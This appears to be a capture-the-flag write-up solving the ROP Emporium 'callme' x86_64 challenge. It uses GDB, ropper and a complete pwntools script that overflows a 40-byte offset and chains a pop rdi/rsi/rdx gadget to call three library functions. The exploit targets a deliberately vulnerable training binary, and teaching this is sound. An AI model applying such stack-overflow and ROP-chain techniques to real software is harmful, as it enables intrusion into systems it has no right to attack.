ROP Emporium - callme (x86_64)

5 minute read

Introduction.

callme is the third challenge of ROP Emporium! At this challenge we will apply the same methodology as we did with split to call three different function with the same arguments. You can find the challenge here

Challenge Description.

How do you make consecutive calls to a function from your ROP chain that won’t crash afterwards? If you keep using the call instructions already present in the binary your chains will eventually fail, especially when exploiting 32 bit binaries. Consider why this might be the case.

You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag. For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d) You can also ignore the .dat files and encrypted flag in this challenge, they’re there to ensure the functions must be called in the correct order.

Initial Binary Analysis.

Let’s start with the file command.

callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped

as we can see it is a 64 bit ELF executable not stripped which means that we can gather information from debug symbols.

We can also use checksec to check for any protection mechanisms

1[*] 'callme'
2    Arch:     amd64-64-little
3    RELRO:    Partial RELRO
4    Stack:    No canary found
5    NX:       NX enabled
6    PIE:      No PIE (0x400000)
7    RUNPATH:  b'.

The binary has NX (Non Executable stack) enabled so we are not able to preform a ret2shellcode attack.

Let’s execute the binary to get a feel of its control flow. Binary Execution

The control flow is very similar to split, so let’s attach it on GDB to inspect further.

gdb -q callme

inf func to list all the functions.

Functions

There are six interesting functions, pwnme which is the vulnerable function (as its name suggests), usefulFunction, usefulGadgets. There are also 3 functions loaded on the PLT callme_one(), callme_two() and callme_three() which we have to call with the appropriate arguments in order to solve the challenge.

Finding the vulnerability.

Let’s use gdb to disassemble the pwnme function.

disas pwnme

Pwnme disassembly

Taking a peek into the disassembly of the pwnme function we can see that it initializes a buffer of 0x20 bytes using the memset() function, then it uses the read() function to write 0x200 bytes from the standard input into thath buffer which is vulnerable to Buffer Overflow.

Finding the offset.

So let’s find the offset of bytes until the %rip register (taking as granted that we can achieve %rip overwrite). First, we have to generate a De Bruijn sequence using patterncreate and then to set a breakpoint where pwnme() returns.

patterncreate -l 48

Set the breakpoint

br *0x04008f1

Then type run and input the generated payload.

In order to calculate the offset we need to extract the value of the %rsp register.

x/gx $rsp

We can use that value in the patternoffset binary to calculate the offset.

patterncreate -l 48 -q <rsp_value>

Result:

[*] Exact match at offset 40

Exploit Strategy.

To solve the challenge (as we know from the description) we have to call the callme_one(), callme_two() and callme_three() functions with 0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d as arguments. From the x64 Calling Convention we know that the 1st, 2nd and 3rd arguments are passed into the %rdi, %rsi, %rdx registers respectively.

If you are interested in the x64 Calling Convention, check out the x64-Cheatsheet.pdf

4.3 Register Usage: Additionally, %rdi, %rsi, %rdx, %rcx, %r8, and %r9 are used to pass the first six integer or pointer parameters to called functions. Additional parameters (or large parameters such as structs passed by value) are passed on the stack.

In order to pop the appropriate values into these registers we have to locate & utilize a pop rdi, pop rsi, pop rdx, ret; Gadget.

Finding the Gadget.

As we remember from the Initial Binary Analysis section there is a usefulGadgets() function which may contain the gadget we want.

disass usefulGadgets

Finding the gadget.

Our educated guess was right! In the UsefulGadgets() function there is a pop rdi, pop rsi, pop rdx, ret;

As an alternative we can use a tool called ropper to find the gadget.

ropper -f callme --search "pop rdi; pop rsi; pop rdx; ret"

Result:

1[INFO] Searching for gadgets: pop rdi; pop rsi; pop rdx; ret
2
3[INFO] File: callme
4
50x000000000040093c: pop rdi; pop rsi; pop rdx; ret;

Building the Exploit.

(As always we will use pwntools module on python3.)

We will start with a template:

 1from pwn import *
 2
 3elf = context.binary = ELF("callme")
 4rop = ROP(elf)
 5
 6p = process(elf.path)
 7offset = 40
 8
 9p.recvuntil('> ')
10
11payload  = b'A' * offset
12
13p.sendline(payload)
14p.interactive()

Let’s implement a function that pops the appropriate arguments into the %rdi, %rsi, %rdx registers.

 1from pwn import *
 2
 3elf = context.binary = ELF("callme")
 4rop = ROP(elf)
 5
 6p = process(elf.path)
 7offset = 40
 8# Gadgets
 9
10pop_gadget = p64(0x040093c) # pop rdi; pop rsi; pop rdx; ret;
11
12# Arguments
13
14argument1 = p64(0xdeadbeefdeadbeef)
15argument2 = p64(0xcafebabecafebabe)
16argument3= p64(0xd00df00dd00df00d)
17
18
19p.recvuntil('> ')
20
21
22def setarguments():
23	payload = pop_gadget
24	payload += argument1
25	payload += argument2
26	payload += argument3
27	return payload
28	
29
30payload  = b'A' * offset
31
32p.sendline(payload)
33p.interactive()

Call the functions with the appropriate arguments. Create a list with the function names and then write a for loop to iterate through it.

 1from pwn import *
 2
 3elf = context.binary = ELF("callme")
 4rop = ROP(elf)
 5
 6p = process(elf.path)
 7offset = 40
 8# Gadgets
 9
10pop_gadget = p64(0x040093c) # pop rdi; pop rsi; pop rdx; ret;
11
12# Arguments
13
14argument1 = p64(0xdeadbeefdeadbeef)
15argument2 = p64(0xcafebabecafebabe)
16argument3= p64(0xd00df00dd00df00d)
17
18functions2call = ['callme_one', 'callme_two', 'callme_three']
19
20p.recvuntil('> ')
21
22
23def setarguments():
24	payload = pop_gadget
25	payload += argument1
26	payload += argument2
27	payload += argument3
28	return payload
29	
30payload = b'A' * offset
31
32for name in functions2call:
33
34	payload += setarguments()
35	payload += p64(elf.sym[name])
36
37
38p.sendline(payload)
39p.interactive()

Pwn3d !

Pwn3d